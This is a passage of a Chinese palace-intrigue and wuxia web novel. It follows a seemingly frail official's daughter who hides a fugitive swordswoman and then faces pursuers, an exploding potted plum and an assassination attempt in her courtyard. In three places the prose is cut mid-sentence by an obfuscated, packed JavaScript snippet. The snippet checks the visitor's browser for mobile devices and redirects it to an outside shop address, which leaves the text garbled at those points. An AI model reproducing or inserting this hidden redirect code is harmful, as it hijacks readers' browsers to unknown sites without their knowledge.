沈氏在一旁笑着接口:“景明是男孩子,心粗,哪里懂得照顾人。不过兄妹之间,多走动走动是好的。”她说着,给林清晚夹了一筷子清蒸鲈鱼,语气关切,“晚儿这几日气色看着倒是好了些,可是换了新方子?” “还是刘太医开的方子,只是近日睡眠安稳些。”林清晚低头看着碗中的鱼肉,轻声回答。 “那就好。”沈氏点点头,又看向林文修,似是无意地说道,“老爷,前几日镇国公夫人来府里赏花,还问起晚儿,说是有阵子没见了,很是挂念。” 林文修“哦”了一声,并未接话,只是慢慢饮了一口汤。 林清晚握着筷子的手指,几不可察地收紧了一瞬。 镇国公府,是临安城里有数的勋贵之家。镇国公夫人与她母亲沈氏是远房表亲,算是有些走动。 只是镇国公府的门第,比起清流的林家,又要高上一截。国公夫人突然“挂念”起她这个常年“卧病”的侍郎千金,其中的意味,耐人寻味。 沈氏见林文修不搭腔,也不气馁,继续笑道:“说起来,镇国公府的二公子,年前刚点了羽林卫的差事,年纪轻轻,很是出息。上回在长公主的赏菊宴上见过一面,知书达理,一表人才。” 这话里的意思,已经相当明显了。 林景明似乎也听出了什么,看了林清晚一眼,又迅速低下头去,默默吃饭。 花厅里的气氛,忽然有些微妙地凝滞了。 林文修放下汤匙,拿起帕子擦了擦嘴角,这才缓缓开口:“晚儿年纪还小,身子又弱,这些事,不急。” “老爷……”沈氏还想说什么。 “好了。”林文修语气温和,却带着不容置疑,“先用饭吧。菜要凉了。” 沈氏只得住了口,脸上笑容未变,只是眼神里掠过一丝不易察觉的黯然。 林清晚始终低着头,小口吃着碗里的饭菜,仿佛对父母之间的机锋毫无所觉。只有她自己知道,口中的食物,已然味同嚼蜡。 饭后,又略坐了片刻,喝了半盏茶,林文修便起身去了书房。林景明也跟着告退,说是要去整理带来的书籍。 沈氏留林清晚说了会儿话,无非是些家常,叮嘱她好生将养,又让丫鬟包了些新得的血燕和灵芝,让青杏带回去。 “你父亲的话,也有道理。”临别时,沈氏拉着林清晚的手,轻轻拍了拍,语气有些复杂,“你的身子是最要紧的。只是……女儿家,总要有个归宿。镇国公府门第是高了些,可若是能成,也是你的造化。你父亲如今在礼部,看着是清贵,可没有根基,终究是……” “母亲,”林清晚轻轻抽回手,抬起眼,目光平静如水,“女儿明白。只是姻缘之事,讲究缘分,强求不得。女儿如今,只想安心养病,不想让父亲母亲为这些事烦心。” 沈氏看着她苍白却沉静的面容,到嘴边的话又咽了回去,化作一声几不可闻的叹息。 “罢了,你先回去吧。夜里凉,路上当心。” “是,女儿告退。” 走出主院,天色已完全暗了下来。廊下挂起了灯笼,晕开一团团暖黄的光。青杏提着灯笼在前面引路,主仆二人沉默地走在回清漪院的青石板路上。 夜风带着凉意,吹拂着林清晚的裙摆。她看着地面上摇曳的灯笼光影,脑海中却浮现出那双锐利如鹰隼、却又在抚摸阿橘时流露出柔软的眼眸。 那个叫江寻的女子,此刻应该已经远在百里之外了吧?她给的路线,是否安全?追兵会不会找到她? “小姐,”青杏的声音打断了她的思绪,带着几分担忧,“您……没事吧?夫人她……” “我没事。”林清晚淡淡道,“母亲也是为我着想。” 只是,那真的只是“着想”吗?还是林家需要一个更牢固的倚仗,而她的姻缘,恰好是现成的筹码? 回到清漪院,阿橘立刻从内室跑出来,亲昵地蹭着她的裙角。林清晚将它抱起,走到窗边。 窗外,夜色沉沉,星光黯淡。 临安城的万家灯火,在高墙深院之外明明灭灭。而那些更远的、她只在书中读过的山河湖海,大漠孤烟,此刻又在经历着怎样的夜晚? 那个黑衣女子,是否正披星戴月,穿越她无法想象的、广阔而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391785|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自由的世界? 林清晚轻轻抚摸着阿橘柔软的皮毛,许久,低低地说了一句只有自己能听见的话: “真好啊……” 声音很轻,很快便消散在微凉的夜风里。 与此同时,临安城外五十里,一处荒废的山神庙。 篝火噼啪作响,映亮了一角残破的神像。 江寻靠坐在冰冷的墙壁上,闭目调息。 她已换上了林清晚给的那套墨蓝色粗布衣裳,头发用布条束在脑后,脸上也做了一些修饰,看上去像个寻常的、面色蜡黄的行脚人。 陈记早点铺的独眼掌柜很守信,那枚铜钱和暗语果然有用。她被悄无声息地送出了临安城,十里坡土地庙的出口也很隐蔽。 出城后,她并未沿官道走,而是专挑偏僻小路,昼伏夜出,绕行了三日,才来到这里。 肩上的伤口已愈合得七七八八,只是运功时仍有些滞涩。林清晚给的药效果极好,那淡绿色药膏也似乎真的掩盖了追踪的痕迹,一路上,她没有再察觉到任何被追踪的迹象。 但她的警惕并未放松。对方既然用上了“蓝焰砂”,必然有备而来,绝不会轻易放弃。 忽然,她耳廓微动,捕捉到远处传来极其轻微的、衣袂破空的声音。 ——不止一人,而且轻功不弱,正朝这个方向快速靠近。 江寻猛地睁开眼,眼底寒光一闪。她迅速起身,一脚踢散篝火,用泥土掩埋灰烬,同时身形一闪,如鬼魅般掠上庙宇的横梁,屏息凝神,隐入梁柱后浓重的阴影里。 几乎就在她藏好的下一刻,几道黑影如夜枭般悄无声息地落入庙中。 一共四人,皆着黑衣,黑巾蒙面,只露出一双双精光四射的眼睛。 他们行动迅捷,落地无声,迅速分散开,警惕地打量着庙内环境。其中一人蹲下身,伸手摸了摸地上尚未完全冷却的灰烬,又捻起一点泥土在鼻尖嗅了嗅。 “刚走不久。”一个沙哑的声音低声道,说的是官话,却带着一点奇怪的口音。 “血迹呢?”另一人问,声音尖细。 “没有新鲜血迹。要么伤口已愈,要么……”沙哑声音顿了顿,“有人帮她处理得很干净。” “蓝焰砂的痕迹也断了。”第三人开口,声音浑厚,“最后出现是在临安城内,靠近南城一带,之后便再无踪影。像是被什么东西彻底掩盖了。” “能掩盖蓝焰砂……”尖细声音沉吟,“不是普通角色。临安城里,有这等手段的人不多。” “查。” 沙哑声音似乎是首领,言简意赅,“从南城开始,所有药铺、医馆,可疑的宅院,一个不漏。主上要活口,务必在她与‘那边’接触前,将东西拿回来。” “是!”其余三人低声应道。 “此处痕迹已无价值,走。”沙哑首领一挥手,四人如来时一般,悄无声息地掠出庙门,很快消失在茫茫夜色中。 庙内重新恢复了死寂,只有夜风吹过破窗的呜咽声。 横梁上,江寻缓缓吐出一口浊气,后背已然惊出一层冷汗。 他们果然追来了。而且,听他们的意思,不仅追查她的下落,还在查是谁帮了她。 临安城……南城…… 林清晚的侍郎府,似乎就在南城。 江寻攥紧了拳头,指节微微发白。她没想到,自己的一时心软,和后来的侥幸,竟可能将那个看起来与世无争的深闺小姐拖入险境。 那些人,为了找到她和那样“东西”,绝对会不择手段。 林清晚虽然神秘,但毕竟是个足不出户的官家小姐,如何能应对这些心狠手辣、训练有素的追踪者? 她必须尽快离开,离临安越远越好,将追兵引开。 但同时,一个更深的疑虑浮上心头。 这些人提到“主上”,提到“那边”,提到“东西”……他们背后,究竟是谁?而林清晚,一个礼部侍郎的女儿,又为何会恰好拥有能解黑蝎毒、能干扰蓝焰砂追踪的药物和知识? 真的只是“久病成医”、“看过杂书”那么简单吗? 江寻从横梁上跃下,落地无声。她走到庙门口,望向临安城的方向。夜色深沉,只能看到一片模糊的轮廓。 那个清冷如月、谜团重重的女子,现在在做什么?是在对窗抚琴,还是在灯下读书?她可知晓,一丝来自远方的、带着血腥气的危险暗流,可能正悄然涌向她那看似平静的深闺庭院? “林清晚……”江寻低声念出这个名字,眼中神色复杂难辨。 最终,她咬了咬牙,转身,决绝地投入了庙外无边的黑暗之中,朝着与临安城相反的方向,疾驰而去。 她不能回去。至少现在不能。 她能做的,只有跑得更快,更远,将所有的危险,都远远地带离那座城池,那方庭院,那个人。 夜色,吞噬了她的身影。 山神庙重归寂静,只有那堆被掩埋的篝火余烬,还残留着一丝微弱的温度,很快,也将被夜风吹散,冰冷如初。 5. 试探 林清晚近来的生活,似乎真的恢复到了往日的节奏。读书,抚琴,调弄院中那几株珍稀的药草,偶尔指点青杏煎药的火候。 只是阿橘的存在,偶尔会让她在抚摸那柔软的皮毛时,目光投向高墙之外,有片刻的失神。 那日家宴后,林景明果然常来“清漪院”走动。 起初是奉伯父伯母之命送来些时鲜果品、新得的笔墨,后来便渐渐多了起来,有时是拿了文章来请教学问—— 虽然林清晚以“闺阁女子,不敢妄议圣贤书”为由,多是婉拒,只略略说些书画鉴赏的心得;有时则是单纯来坐坐,喝杯茶,说些书院里的趣闻,或是临安城最新的诗会、雅集。 他举止有礼,谈吐文雅,进退有度,完全是一个知书达理的世家公子模样。对林清晚这个“病弱”的长姐,也始终保持着恰到好处的恭敬与关切,并无半分逾越。 可林清晚总觉得,这位三弟温文尔雅的表象之下,那双看向她的眼睛里,偶尔会闪过一丝探究,一丝她读不懂的、沉郁的东西。不像少年人应有的清澈明朗,倒像是藏着重重心事。 这日午后,林景明又来了。这次,他带了一盆罕见的绿萼梅盆景,说是友人相赠,觉得清漪院清雅,正合此梅风骨。 “有劳三弟费心。”林清晚让青杏将盆景收下,放在廊下透气处,自己则请林景明在院中的石桌旁坐下。青杏奉上清茶。 “大姐姐近日气色似乎好了许多。”林景明接过茶盏,状似无意地说道,“可是换了新的调理方子?” 林清晚轻轻拨弄着茶盏盖子,垂眸道:“还是刘太医的方子,只是近来心绪宁定些,睡得也好。” “那便好。”林景明笑了笑,目光掠过院中那片被精心打理过的药圃,里面种着些他不认识的奇花异草,“大姐姐这院子,倒是别致,颇有几分山野逸趣。这些花草,看着不像寻常观赏之物。” “久病之人,闲着无事,摆弄些草药打发时间罢了。多是些安神静气的寻常品种,上不得台面。” 林清晚语气平淡,将话题轻轻带过,“倒是三弟,秋闱在即,该多用功才是,不必时常过来陪我。” “伯父也常这般说。” 林景明饮了口茶,目光却看向庭院一角那几竿翠竹,“只是读久了书,难免烦闷。来大姐姐这里坐坐,听些琴音,看看这些花草,倒觉得心境开阔不少。大姐姐可会觉得我烦扰?” “自然不会。”林清晚抬眸,对他露出一个极淡的、标准的笑容,“三弟能来,是这清漪院的荣幸。” 她的笑容得体,语气温和,却透着一股无形的距离感,仿佛在两人之间划下了一道看不见的线。 林景明似乎并未察觉,或者说,并不在意。他放下茶盏,忽然道:“说起来,前几日我去拜访嵩山书院的一位同窗,他家在城南开了一间不小的生药铺。闲聊时说起,最近临安城里,似乎有几拨生面孔在暗中打听事情,尤其是一些经营珍稀药材、或是疑难杂症的医馆药铺。我那同窗家里也被隐晦地问过,是否接过需要特殊解毒药材的急症,或是出售过一些不常见的方剂药材。” 林清晚端着茶盏的手,几不可察地顿了一下。杯中的水面,漾开一丝细微的涟漪,很快又平复。 “哦?竟有此事?”她语气依旧平静,带着恰到好处的一丝好奇,“可是官府在查什么案子?或是有什么疫病流言?” “不像。”林景明摇头,压低了些声音,“我同窗说,打听的人看着不像是官差,倒像是……江湖路子。行事隐蔽,问得也刁钻,专挑那些偏门、甚至有些犯忌讳的东西问。而且,似乎不止一方人在查,彼此之间,好像还不太对付。” 他说话时,目光似有若无地落在林清晚脸上,似乎在观察她的反应。 林清晚却只是轻轻蹙了蹙眉,露出些许闺阁女子听到“江湖”、“犯忌讳”这些字眼时该有的不安与忧虑:“江湖人?那岂不是很危险?三弟,你那位同窗家里,没被牵连吧?你也少去那些地方,免得惹上麻烦。” 她的反应,完全符合一个深闺千金的认知。 林景明笑了笑,道:“大姐姐放心,他们只是打听,并未生事。我自然也是晓得分寸的。”他顿了顿,像是忽然想起什么, “对了,他们还提到一种很特别的追踪药物,似乎叫什么……‘蓝焰砂’?据说极其罕见,只有西域那边才有。也不知这些人找这个做什么。” “蓝焰砂”三个字,如同投入平静湖面的石子,在林清晚心底激起波澜。 但她面上不显,只是茫然地摇了摇头:“这些江湖上的奇闻异事,我从未听过。听着便觉吓人。三弟还是莫要沾染这些为好。” “大姐姐说的是。”林景明从善如流,不再谈论这个话题,又说起了书院里某位大儒新作的诗文。 又坐了一盏茶的功夫,林景明便起身告辞了。临走前,他又看了一眼那盆绿萼梅,笑道:“这梅花耐寒,香气清幽,希望大姐姐喜欢。” “多谢三弟。”林清晚送至月洞门。 待林景明的身影消失在曲折的回廊尽头,林清晚脸上的浅笑才慢慢淡去,化作一片沉静的思索。 青杏走上前,小声道:“小姐,三少爷他是不是知道了什么?” “他知道的不多。”林清晚转身往屋里走,声音很低,只有主仆二人能听见,“或许只是听到些风声,起了疑心,来试探我。” “那……那些人……”青杏脸上露出担忧,“在找江姑娘?会不会查到咱们府上?” “江寻已经出城多日,我给的药足以掩盖痕迹数日。那些人失去线索,扩大范围搜查,是意料之中。” 林清晚走到书案前,指尖拂过案上摊开的一本《南疆毒物考》,上面正好有一页记载了数种西域奇毒,字迹古旧。 “只是没想到,他们会查得这么细,这么快。而且似乎不止一拨人。” “不止一拨?”青杏倒吸一口凉气。 “嗯。”林清晚合上书,走到窗边。阿橘跳上窗台,蹭了蹭她的手。“三弟说,他们彼此之间不太对付。这说明,想要江寻身上那样‘东西’的,可能不止一方势力。江寻的处境,恐怕比我想象的更危险。” 而她,或许也在无意中,踏入了一滩浑水的边缘。林景明今日的试探,就是证明。他虽然不确定,但已经开始怀疑,那些江湖人寻找的线索,可能与他这位“体弱多病”、“深居简出”的长姐有关。 是哪里露出了破绽?是那日去抓药时,伙计多嘴说了什么?还是江寻在府内留下了一丝她未曾察觉的痕迹?只是单纯的巧合,让林景明将外面的风声与清漪院联系了起来? 无论如何,平静的日子,恐怕要起波澜了。 “青杏,”林清晚沉吟片刻,吩咐道,“这几日,紧闭院门,除非是父亲母亲传唤,否则一律谢客。若有人问起,就说我前日染了风寒,需要静养,不便见人。” “是,小姐。”青杏连忙应下。 “还有,”林清晚目光落在妆台上那个不起眼的紫檀木小盒上,那里曾经放着干扰追踪的淡绿药膏,如今已空。“将我药柜最下层,左边那个樟木匣子取来。” 青杏脸色微变:“小姐,您要动用那些……” “以防万一。”林清晚的语气平静无波,却带着不容置疑的决断。 夜,渐深。 清漪院内一片寂静。主仆二人早已“安歇”,室内只留一盏如豆的灯火。 林清晚却并未睡下。她换了一身便于活动的深色衣裙,长发用布巾包起,脸上蒙着一方素帕,只露出一双沉静的眼眸。她正小心地将青杏取来的樟木匣子里的东西,分门别类地装入几个小巧的、毫不起眼的荷包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391786|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或香囊中。 匣子里的东西并不多,几包不同颜色的药粉,几个小瓷瓶,几枚长短不一、泛着幽蓝光泽的细针,还有几样青杏叫不出名字的、奇形怪状的小物件。每一样,都透着一股冰冷的、与这闺阁绣房格格不入的气息。 “小姐,您这是要……”青杏站在一旁,手脚冰凉,声音发颤。她知道小姐懂些医术,甚至懂些不寻常的东西,但眼前这些,明显已超出了“医术”的范畴。 “只是做些准备。”林清晚的声音透过素帕,有些闷,却异常冷静,“但愿用不上。” 她将最后一个装着无色粉末的小香囊系在腰间暗袋,仔细检查了一遍身上,确认没有任何纰漏,这才抬眼看向青杏,目光柔和了些:“别怕。记住,无论发生什么,你只需记住,你什么都不知道。我只是一个体弱多病、常年不出院子的林家大小姐,明白吗?” 青杏用力点头,眼圈却红了:“小姐,您千万小心……” 林清晚轻轻拍了拍她的手,没再说什么。她吹熄了灯火,走到窗边,侧耳倾听。夜色沉沉,只有风吹过竹叶的沙沙声,和远处隐约传来的、更夫打更的梆子声。 一切如常。 但她心中那丝隐约的不安,并未消散。林景明的试探,江湖人的搜寻,像两片逐渐逼近的阴云,悬在她头顶。 她必须做好准备。为了自保,也为了不牵连林家。 就在她准备关上窗户的瞬间,眼角的余光似乎瞥见,远处另一处院落的屋顶上,有一道极其模糊的黑影,一闪而过,快得像是错觉。 林清晚心中一凛,立刻凝神细看。 然而,那里只有一片沉沉的黑暗,和屋檐勾勒出的、沉默的轮廓。仿佛刚才那一瞥,只是光影交错下的幻觉。 是巡夜的家丁?还是江寻? 她轻轻关上了窗户,插好插销。心脏在胸腔里,不轻不重地跳动着。 回到内室,她没有点灯,只是和衣靠在榻上,阿橘蜷在她腿边,发出细微的呼噜声。 黑暗中,她的感官变得异常敏锐,捕捉着窗外每一丝细微的声响。 这一夜,清漪院看似平静地过去了。 暗流已然涌动,只是尚未浮出水面。 而她,必须在这看似固若金汤、实则危机四伏的深宅大院里,为自己,也为身边在意的人,寻得一线生机。 她轻轻摩挲着腕间一只触手温润的羊脂玉镯。那是母亲在她及笄那年所赠,她极少摘下。 此刻,指尖在玉镯内侧一个极其微小的、仿佛天然纹理的凸起上,轻轻按了一下。 “咔哒”一声极其轻微的机括响动,玉镯侧面弹开一道细缝,露出里面中空的、比发丝粗不了多少的一点暗格。 暗格里,空无一物。 林清晚的目光,却变得深邃而悠远,仿佛透过眼前的黑暗,看到了很久以前,另一个将这玉镯交给她的人,以及那人临终前,气若游丝却又无比郑重的嘱托。 “晚儿……这世间……并非你眼前所见……这般安宁……” “有些事……忘了好……但有些责任……林家的女儿……推不掉……” “若真有那一日……去……去找……” 话语未尽,人已逝去。 那未曾说完的嘱托,和这只暗藏玄机的玉镯,成了埋藏在她心底最深处的秘密,与她那身不由己的“病”,一同构成了她十六年人生的底色。 本以为,那“一日”永远不会来。 可江寻的出现,像一颗投入死水的石子。而如今,涟漪正在扩大,渐渐触碰到那些被她深深埋藏的、连自己都不愿轻易触碰的角落。 窗外,不知何处传来一声夜鸟的啼叫,凄清而突兀,划破了深夜的寂静。 林清晚缓缓闭上眼,将玉镯的暗格轻轻推回。 长夜未尽。 6. 刺杀 林景明送来的那盆绿萼梅,在清漪院的廊下静静绽放。 花朵不大,瓣如碧玉,蕊似碎金,幽香清冽,并不浓烈,却丝丝缕缕,萦绕不散,给这素雅的庭院添了几分冬日未尽、春意暗藏的生机。 林清晚依着“染了风寒”的托辞,果然闭门谢客了几日。 除了青杏和每日按时来送饭食的粗使婆子,再无人踏足这方小院。 连林景明也只在头一日遣人送了些补品,并未亲自前来,大约是碍于“男女有别”和“病中不宜打扰”的礼数。 清漪院仿佛又回到了过去那种与世隔绝的宁静中。 她白日里依旧看书、抚琴、侍弄花草,一切如常,只是夜里,枕下多了一把从樟木匣中取出的、不足一尺长的乌木鞘短剑。 剑身轻巧,锋刃藏于鞘中,触手温润,是上好的阴沉木所制,看似装饰之物,唯有她自己知晓其中机巧。 阿橘似乎也察觉到主人的些许不同,越发黏人,总是寸步不离地跟着她,夜里也要蜷在她枕边才肯安睡。 这日午后,天色有些阴沉,风里带着湿意,似乎又要下雨。 林清晚正在书房临摹一幅前人的《溪山行旅图》,青杏在一旁小心地研墨。阿橘趴在窗台上,琥珀色的眼睛半眯着,望着庭院。 忽然,它耳朵动了动,猛地抬起头,喉咙里发出极低的“呼噜”声,是警戒的征兆。 林清晚执笔的手微微一顿,一滴浓墨险些滴落宣纸。她若无其事地继续勾勒山石的轮廓,眼角的余光却已扫向窗外。 庭院里,除了被风吹得摇曳的竹影和那盆静静吐香的绿萼梅,空无一人。 青杏也察觉到了阿橘的异样,紧张地看向林清晚,小声道:“小姐,阿橘它……” “许是听到野猫的动静了。”林清晚语气平静,放下笔,用帕子擦了擦手,“我有些乏了,想去歇会儿。你把这里收拾一下,墨别急着洗,我晚些还要用。” “是。”青杏应下,心中却更加不安。小姐作画时,极少中途停笔。 林清晚起身,抱起窗台上依旧警惕地盯着某个方向的阿橘,轻轻抚摸着它的背脊,安抚它的不安,缓步走向内室。 她并未立刻躺下,而是走到妆台前,背对着窗户,借着模糊的铜镜,不动声色地观察着庭院西侧的墙头。 那里,几竿翠竹掩映下,一片瓦当的阴影似乎比旁边略微深了些,形状也有些不自然的规整。 不是错觉。 有人在监视清漪院。 会是林景明派来的人吗?还是那些追查江寻下落的江湖人,终究还是嗅到了一丝气息,将目光投向了这座侍郎府? 心脏在胸腔里沉稳地跳动着,没有慌乱,只有一片冰冷的清明。 该来的,总会来。 她将阿橘放到床榻上,自己则走到琴案前坐下,信手拨动琴弦,是一曲舒缓的《鸥鹭忘机》。琴声淙淙,如清泉流淌,试图驱散空气中那无形的紧绷。 然而,琴声未停,异变骤生! 一声尖锐短促的、仿佛鸟鸣又似竹哨的奇异声响,陡然从庭院西侧墙外传来!声音不高,却极具穿透力,瞬间压过了琴音。 几乎是同时,廊下那盆绿萼梅,毫无征兆地,“砰”一声轻响,连同花盆一起,炸裂开来! 泥土飞溅,瓷片四散,那株清雅幽香的梅花,瞬间枝残花碎,委顿于地。一股极其清淡、却异常刺激的辛辣气味,混合着泥土和花香,猛地扩散开来! “小姐!”青杏吓得失声惊呼,手中的墨锭“啪嗒”掉在地上。 林清晚琴声戛然而止。 她猛地起身,第一反应不是去看那碎裂的花盆,而是迅速抬手掩住口鼻,同时对青杏厉声道:“闭气!别吸那烟尘!” 然而已经晚了。青杏吸入了一丝那辛辣的气味,顿时觉得头晕目眩,手脚发软,踉跄着扶住了书案。 林清晚疾步上前,一把扶住青杏,将她半拖半抱到远离窗口的榻边,同时飞快地从腰间暗袋中取出一个小瓷瓶,倒出两粒碧绿色的药丸,自己含了一粒在舌下,另一粒塞进青杏口中,低喝:“咽下去!” 药丸入口清凉,带着浓烈的薄荷与草药混合的气息,瞬间冲淡了那辛辣气味带来的不适。 青杏依言吞下,眩晕感稍减,但脸色依旧苍白,惊魂未定地看着满地狼藉:“小、小姐……那花盆……怎么会……” 林清晚没有回答。 她目光如电,扫过那堆碎片。花盆炸裂得并不猛烈,更像是内部有什么东西被引发,从内向外撑破。碎裂的瓷片和泥土中,除了残破的梅枝,还夹杂着一些极细的、近乎透明的、已经碎裂的薄片,在昏暗的光线下,泛着不自然的微光。 不是火药。是某种……精巧的机关?或者,是淬了特殊药物、遇空气或轻微震动便会爆裂的“暗器”? 她的心沉了下去。这绝非偶然。是那盆绿萼梅本身有问题,还是有人在她不知情的情况下,动了手脚? 林景明……他送这盆花来,是真的无心,还是…… 念头电转间,窗外再次传来异动! 这一次,是衣袂破风之声,而且不止一处!声音极轻,速度极快,正从不同方向朝着清漪院急速靠近! “待在这里,别动,别出声!”林清晚急促地对青杏吩咐一句,顺手扯过榻上一件披风盖在她身上,自己则闪身到门边,侧耳倾听。 脚步声很杂,至少有四五人,轻功都不弱,落地几乎无声,但急促的移动还是带起了细微的风声和衣袂摩擦声。 他们似乎目标明确,直扑清漪院! 是冲着那爆炸来的?还是冲着她? 林清晚不再犹豫,反手从枕下抽出那柄乌木短剑,握在手中。剑柄冰凉,带着木质的温润纹理,奇异地抚平了她心底最后一丝波澜。 就在这时,院墙外忽然传来几声短促的闷哼,紧接着是兵器相交的脆响,以及重物落地的声音! 打起来了?外面的人……不是一伙的? 林清晚眸光一闪。机会! 她不再迟疑,一把拉开房门,却没有立刻冲出,而是手腕一翻,几枚细如牛毛的、泛着幽蓝光泽的银针夹在指间,警惕地望向庭院。 庭院中,景象比她预想的更混乱。 靠近西墙的位置,倒伏着两个黑衣身影,一动不动,身下洇开暗色的液体,显然是刚被解决掉。 而另外三个同样装束的黑衣人,正与一个身着灰褐色劲装、面蒙黑巾的身影缠斗在一起!那灰衣人身法诡异灵动,在三人围攻下左支右绌,险象环生,腰间似乎已见了红,但手中一柄狭长的弯刀挥舞得泼水不进,死死护住周身要害,一时间竟让三名黑衣人无法近身。 灰衣人武功明显高于那三名黑衣人,但似乎有伤在身,又寡不敌众,落败只是时间问题。 林清晚的目光迅速扫过战场,又瞥了一眼地上碎裂的花盆。灰衣人是引发花盆爆炸、制造动静引开注意的人?还是他也是被爆炸引来的? 电光石火间,她已做出决断。 无论来者是谁,无论目的为何,绝不能让这些人闯进她的屋子,不能让他们看到青杏,看到屋内的任何东西! 她手指微弹,三枚幽蓝银针悄无声息地射出,并非射向战团中的任何人,而是射向了庭院中三个不同的角落——那是她平日里布置的、极其隐蔽的、用特殊药粉和细线设置的简易预警机关。 “嗤嗤嗤”三声极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391787|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微的、仿佛虫鸣的声响,在兵刃交击声和呼喝声中几不可闻。 紧接着,那三个角落的地面或草丛里,猛地爆开三小团淡黄色的烟雾,迅速弥散开来! 烟雾带着一股刺鼻的、类似硫磺混合着辛辣草药的味道,并不致命,却足以瞬间干扰视线和呼吸! “小心毒烟!”一名黑衣人厉声喝道,攻势顿时一缓,纷纷掩住口鼻后退。 那灰衣人显然也没料到这变故,一怔之下,反应却极快,趁机一刀逼开左侧敌人,身形如鬼魅般向后急退,眼看就要撞上林清晚所在的房门廊柱! 林清晚在他即将撞上的瞬间,侧身让开半步,手中乌木短剑的剑鞘,看似不经意地在他后腰某处轻轻一磕。 灰衣人身体猛地一僵,随即像是被抽走了所有力气,软软地顺着廊柱滑倒,手中弯刀“当啷”落地。 他蒙面的黑巾下,一双眼睛惊骇地瞪大,死死盯着近在咫尺、面色平静无波的林清晚,似乎想说什么,却一个字也发不出,眼前一黑,昏死过去。 这一切发生在兔起鹘落之间。淡黄色的烟雾并未持续太久,很快被风吹散。 三名黑衣人虽然及时闭气掩面,但仍被呛得咳嗽连连,眼泪直流。等他们视线稍微清晰,只看到那灰衣人已经倒在廊下,不知死活,而廊下门边,不知何时,多了一个身着素雅衣裙、面色苍白、仿佛被吓呆了的纤弱少女。 少女怀中抱着一只炸了毛的小橘猫,正惊恐地看着他们,纤细的肩膀微微颤抖,仿佛风中的芦苇,随时会晕厥过去。 正是林府那位体弱多病、深居简出的大小姐,林清晚。 三名黑衣人互相对视一眼,眼中惊疑不定。他们得到的命令是追查线索,潜入林府探查,伺机擒拿或格杀目标人物,绝不可惊动府中贵人。刚才的爆炸和打斗已经闹出了动静,恐怕很快就会引来林府护卫。眼前这少女,显然是府中小姐…… “撤!”为首的黑衣人当机立断,低喝一声。 三人不再犹豫,甚至连同伴的尸体都顾不上收拾,身形连闪,如同鬼魅般翻过墙头,迅速消失在重重屋宇之后。 庭院里,瞬间恢复了死寂。 只有满地狼藉的瓷片泥土、残破的梅花、两具尚温的尸体、一个昏迷的灰衣人,以及站在廊下、脸色苍白如纸、仿佛随时会倒下的林清晚。 远处,已经传来了嘈杂的人声和急促的脚步声,是林府的护卫闻声赶来了。 林清晚轻轻吸了一口气,将怀中瑟瑟发抖的阿橘抱得更紧了些,然后,身体微微晃了晃,像是终于支撑不住,缓缓地、软软地,向着地面倒去。 在她“晕倒”的前一瞬,眼角的余光,瞥见那昏迷的灰衣人垂落的手边,似乎有什么东西在微微反光。 那是一枚造型奇特非金非铁的黑色指环,指环上刻着一个细微仿佛火焰又似羽毛的扭曲图案。 这个图案…… 林清晚的瞳孔,几不可察地收缩了一下。 下一刻,她闭上了眼睛,放任自己陷入“昏迷”。耳畔,是青杏带着哭腔的惊呼,和越来越近的、纷乱的脚步声。 “小姐——!” “快!保护大小姐!” “有刺客!抓刺客!” 清漪院的宁静,被彻底打破了。 而林清晚知道,这仅仅只是开始。那盆炸裂的绿萼梅,那枚奇特的黑色指环,还有那些退去的黑衣人……如同投入深潭的巨石,激起的浪涛,必将层层扩散,最终,将她,将整个林家,都卷入无法预知的漩涡之中。 在彻底失去意识的边缘,她脑海中最后一个清晰的念头是: 江寻……你究竟,带走了什么?又究竟,惹上了怎样的麻烦? 8. 送花人 一夜无眠。 天将破晓时,清漪院外果然响起了急促的敲门声。是林文修亲自带着临安府衙的差役来了。 为首的是个面皮焦黄、目光锐利的中年捕头,姓赵,带着两名仵作和四名衙役。 林文修脸色依旧不好看,但强压着怒意,对林清晚温言道:“晚儿,这位是临安府的赵捕头,奉府尹大人之命前来查问昨夜之事。你莫要害怕,将你所见所知,如实告知便是。” 林清晚早已换了身素净的月白寝衣,外罩一件浅青色薄袄,长发未绾,松松披在肩后,脸上脂粉未施,愈发显得苍白羸弱。 她被青杏搀扶着,勉强坐在外间的绣墩上,对着赵捕头等人微微颔首,便低垂下头,指尖无意识地绞着衣带,一副惊魂未定、怯懦不安的模样。 赵捕头办案多年,见过形形色色的人,眼前这位侍郎千金,看起来确实是一阵风就能吹倒的病弱之躯,与昨夜那等凶杀场面格格不入。 他例行公事,先是询问了林清晚昨夜听到异响、看到黑影、乃至晕厥的详细经过,与她对林文修所说的并无二致,细节处还因“惊吓过度”而显得模糊混乱。 